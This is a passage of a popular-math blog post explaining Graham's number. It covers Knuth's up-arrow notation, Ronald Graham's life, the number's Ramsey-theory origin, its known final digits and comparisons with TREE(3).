id="meet-ronald-graham-the-juggling-mathematician">Meet Ronald Graham: The Juggling Mathematician</h4><p>Before we dive into the number, let&apos;s meet its creator. <a href="https://en.wikipedia.org/wiki/Ronald_Graham?ref=joshkerr.com">Ronald Graham</a> (1935&#x2013;2020) wasn&apos;t your typical mathematician. Sure, he was one of the most influential figures in discrete mathematics, working at Bell Labs for 37 years and publishing around 400 papers. But he was also a professional trampolinist who performed in a circus act called &quot;The Bouncing Baers&quot; to pay his way through graduate school.<a href="#fn1"><sup>[1]</sup></a></p><p>Graham was also president of the International Jugglers&apos; Association and could juggle up to six balls. His office ceiling at UC San Diego had a large net he could lower and attach to his waist&#x2014;so when practicing with six or seven balls, any drops would roll right back to him. As he liked to say: &quot;Juggling is a metaphor for doing more things than you have hands to do.&quot;<a href="#fn2"><sup>[2]</sup></a></p><p>When asked about his namesake number, Graham called it &quot;kind of a joke&quot;&#x2014;he stumbled upon it while proving a combinatorial theorem using recursive multiple inductions. &quot;When that happens,&quot; he explained, &quot;you tend to get large numbers.&quot;<a href="#fn3"><sup>[3]</sup></a> Understatement of the century.</p><h4 id="the-black-hole-problem">The Black Hole Problem</h4><p>Here&apos;s a fact that still gives me chills. According to Numberphile:</p><blockquote>If you were to try to memorize each digit of Graham&apos;s number, your head would sooner turn into a black hole before you were done. This happens because a black hole the size of your head stores less information than what it would take to store all of the digits of Graham&apos;s number.</blockquote><p>Read that again. Your brain would <em>literally collapse into a black hole</em> before you could memorize this number. This isn&apos;t hyperbole&#x2014;it&apos;s a consequence of the <a href="https://en.wikipedia.org/wiki/Bekenstein_bound?ref=joshkerr.com">Bekenstein bound</a>, which limits how much information can be stored in a finite region of space.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2016/10/maxresdefault--1-.jpg" class="kg-image" alt="Graham&apos;s number - big numbers blow my mind!" loading="lazy" width="1280" height="720" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2016/10/maxresdefault--1-.jpg 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2016/10/maxresdefault--1-.jpg 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2016/10/maxresdefault--1-.jpg 1280w" sizes="(min-width: 720px) 720px"></figure><h4 id="how-do-we-define-grahams-number">How do we define Graham&apos;s number?</h4><p>We can&apos;t use ordinary notation&#x2014;there simply isn&apos;t enough paper in the universe. Instead, we&apos;ll use <strong>Knuth&apos;s up-arrow notation</strong>, a system designed for expressing hyperoperations. If you haven&apos;t seen it before, I wrote about it <a href="https://joshkerr.com/knuths-up-arrow-notation-explained/">here</a>.</p><p>To build Graham&apos;s number, we start at level 1:</p><p>$$ G_1 = 3\uparrow\uparrow\uparrow\uparrow 3 $$</p><p>Those four arrows represent <strong>hexation</strong>&#x2014;a hyperoperation so powerful that it makes exponentiation look like addition. Let&apos;s build up to it step by step.</p><h5 id="exponentiation-3uparrow3">Exponentiation: \(3\uparrow3\)</h5><p>No big deal:</p><p>$$ 3\uparrow3 = 3^3 = 27 $$</p><h5 id="tetration-3uparrowuparrow3">Tetration: \(3\uparrow\uparrow3\)</h5><p>This is a power tower&#x2014;exponents stacked on exponents:</p><p>$$ 3\uparrow\uparrow3 = 3^{3^3} = 3^{27} = 7{,}625{,}597{,}484{,}987 $$</p><p>We&apos;re already at 7.6 trillion. Things are heating up.</p><h5 id="pentation-3uparrowuparrowuparrow3">Pentation: \(3\uparrow\uparrow\uparrow3\)</h5><p>Pentation is <em>iterated tetration</em>&#x2014;a tower of power towers:</p><p>$$ 3\uparrow\uparrow\uparrow3 = 3\uparrow\uparrow(3\uparrow\uparrow3) = 3\uparrow\uparrow(7{,}625{,}597{,}484{,}987) $$</p><p>This means a power tower of 3s that is <strong>7.6 trillion levels tall</strong>:</p><p>$$ \left.\begin{aligned} 3^{3^{3^{3^{&#x22F0;^{3}}}}} \end{aligned}\right\} \text{ height = 7,625,597,484,987} $$</p><p>Stop and think about this. Just <em>counting</em> each 3 in this tower out loud would take tens of thousands of years. And we can&apos;t write this number down&#x2014;there aren&apos;t enough particles in the observable universe ($10^{80}$) to represent each digit.</p><h5 id="hexation-3uparrowuparrowuparrowuparrow-3">Hexation: \(3\uparrow\uparrow\uparrow\uparrow 3\)</h5><p>Hexation is <em>iterated pentation</em>. The result of one pentation tower determines how many more towers to compute:</p><p>$$ 3\uparrow\uparrow\uparrow\uparrow3 = 3\uparrow\uparrow\uparrow(3\uparrow\uparrow\uparrow3) $$</p><p>This creates a cascading sequence of incomprehensible growth:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2016/10/hexation.png" class="kg-image" alt="Graham&apos;s number - big numbers blow my mind!" loading="lazy" width="1520" height="185" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2016/10/hexation.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2016/10/hexation.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2016/10/hexation.png 1520w" sizes="(min-width: 720px) 720px"></figure><p>This monstrous result is \(G_1\).</p><h4 id="building-grahams-number">Building Graham&apos;s Number</h4><p>Now here&apos;s where it gets truly insane. We use \(G_1\) to define the number of arrows for \(G_2\):</p><p>$$ G_2 = \underbrace{3\uparrow\uparrow \cdots \uparrow\uparrow 3}_{G_1 \text{ arrows}} $$</p><p>Remember: each additional arrow creates an explosion in size. Going from 4 arrows to 5 arrows is incomprehensibly more powerful than going from 3 to 4. And \(G_1\) already has a number of arrows we can&apos;t even write down.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2016/10/g2.png" class="kg-image" alt="Graham&apos;s number - big numbers blow my mind!" loading="lazy" width="1536" height="171" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2016/10/g2.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2016/10/g2.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2016/10/g2.png 1536w" sizes="(min-width: 720px) 720px"></figure><p>Then \(G_2\) becomes the number of arrows for \(G_3\):</p><p>$$ G_3 = \underbrace{3\uparrow\uparrow \cdots \uparrow\uparrow 3}_{G_2 \text{ arrows}} $$</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2016/10/g3.png" class="kg-image" alt="Graham&apos;s number - big numbers blow my mind!" loading="lazy" width="1536" height="159" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2016/10/g3.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2016/10/g3.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2016/10/g3.png 1536w" sizes="(min-width: 720px) 720px"></figure><p>This keeps going: \(G_4\), \(G_5\), \(G_6\)... each one using the previous result as its number of arrows.</p><p><strong>Graham&apos;s number is \(G_{64}\).</strong></p><p>$$ G_{64} = \underbrace{3\uparrow\uparrow \cdots \uparrow\uparrow 3}_{G_{63} \text{ arrows}} $$</p><p>We iterate this process <em>sixty-four times</em>.</p><h4 id="why-does-this-number-exist-ramsey-theory">Why Does This Number Exist? Ramsey Theory</h4><p>Graham&apos;s number isn&apos;t mathematical showboating&#x2014;it emerged from a real problem in <a href="https://en.wikipedia.org/wiki/Ramsey_theory?ref=joshkerr.com">Ramsey theory</a>:</p><blockquote>Connect each pair of geometric vertices of an n-dimensional hypercube to obtain a complete graph on \(2^n\) vertices. Color each edge either red or blue. What is the smallest value of n for which every such coloring contains at least one single-colored complete subgraph on four coplanar vertices?</blockquote><p>In 1971, Ronald Graham and Bruce Rothschild proved that a solution exists with an upper bound equal to Graham&apos;s number. The actual answer is believed to be much smaller&#x2014;somewhere between 13 and \(2\uparrow\uparrow\uparrow6\) (proven in 2014)&#x2014;but Graham&apos;s number was a legitimate bound.<a href="#fn4"><sup>[4]</sup></a></p><p>In 1980, the Guinness Book of World Records recognized it as the largest number ever used in a serious mathematical proof.</p><h4 id="what-we-actually-know-about-grahams-number">What We Actually Know About Graham&apos;s Number</h4><p>We can&apos;t compute Graham&apos;s number, but we <em>can</em> determine some of its properties. Remarkably, we know its last 500 digits:</p><blockquote>...02425950695064738395657479136519351798334535362521430035401260267716226721604198106522631693551887803881448314065252616878509555264605107117200099709291249544378887496062882911725063001303622934916080254594614945788714278323508292421020918258967535604308699380168924988926809951016905591995119502788717830837018340236474548882222161573228010132974509273445945043433009010969280253527518332898844615089404248265018193851562535796399618993967905496638003222348723967018485186439059104575627262464195387</blockquote><p>I find it delightful that we can know the ending of a number whose full representation exceeds the information capacity of the observable universe.</p><h4 id="where-grahams-number-sits">Where Graham&apos;s Number Sits</h4><p>In the <a href="https://en.wikipedia.org/wiki/Fast-growing_hierarchy?ref=joshkerr.com">fast-growing hierarchy</a>, Graham&apos;s number sits around:</p><p>$$ \text{Graham&apos;s Number} &lt; f_{\omega+1}(64) $$</p><h4 id="but-wait%E2%80%94there-are-even-bigger-numbers">But Wait&#x2014;There Are Even Bigger Numbers</h4><p>Graham&apos;s number is famous, but it&apos;s been utterly eclipsed. <strong>TREE(3)</strong>, arising from a problem about trees in graph theory, is so much larger that Graham&apos;s number is essentially zero by comparison.<a href="#fn5"><sup>[5]</sup></a></p><p>How much larger? Consider this: even if you computed \(G_{G_{G_{...}}}\) with Graham&apos;s number levels of nesting, you&apos;d still be nowhere close to TREE(3). It exists in an entirely different realm of magnitude. And SSCG(3) is larger still&#x2014;much larger than TREE(TREE(...TREE(3)...)) nested TREE(3) times.<a href="#fn6"><sup>[6]</sup></a></p><p>The rabbit hole goes infinitely deep.</p><h4 id="learn-more">Learn More</h4><p>Numberphile has an excellent video on Graham&apos;s number that I highly recommend:</p><figure class="kg-card kg-embed-card"><iframe width="560" height="315" src="https://www.youtube.com/embed/XTeJ64KD5cg" frameborder="0" allowfullscreen></iframe></figure><hr><ol><li><a href="https://mathshistory.st-andrews.ac.uk/Biographies/Graham/?ref=joshkerr.com">MacTutor: Ronald Graham Biography</a> <a href="#fnref1">&#x21A9;&#xFE0E;</a></li><li><a href="https://today.ucsd.edu/story/ron-graham-obituary?ref=joshkerr.com">UC San Diego: Ron Graham Obituary</a> <a href="#fnref2">&#x21A9;&#xFE0E;</a></li><li><a href="https://www.simonsfoundation.org/2016/01/11/ronald-graham/?ref=joshkerr.com">Simons Foundation: Ronald Graham Profile</a> <a href="#fnref3">&#x21A9;&#xFE0E;</a></li><li><a href="https://en.wikipedia.org/wiki/Graham%27s_number?ref=joshkerr.com">Wikipedia: Graham&apos;s Number</a> <a href="#fnref4">&#x21A9;&#xFE0E;</a></li><li><a href="http://waitbutwhy.com/2014/11/1000000-grahams-number.html?ref=joshkerr.com">Wait But Why: From 1,000,000 to Graham&apos;s Number</a> <a href="#fnref5">&#x21A9;&#xFE0E;</a></li><li><a href="https://googology.fandom.com/wiki/TREE_sequence?ref=joshkerr.com">Googology Wiki: TREE Sequence</a> <a href="#fnref6">&#x21A9;&#xFE0E;</a></li></ol>]]></content:encoded></item></channel></rss>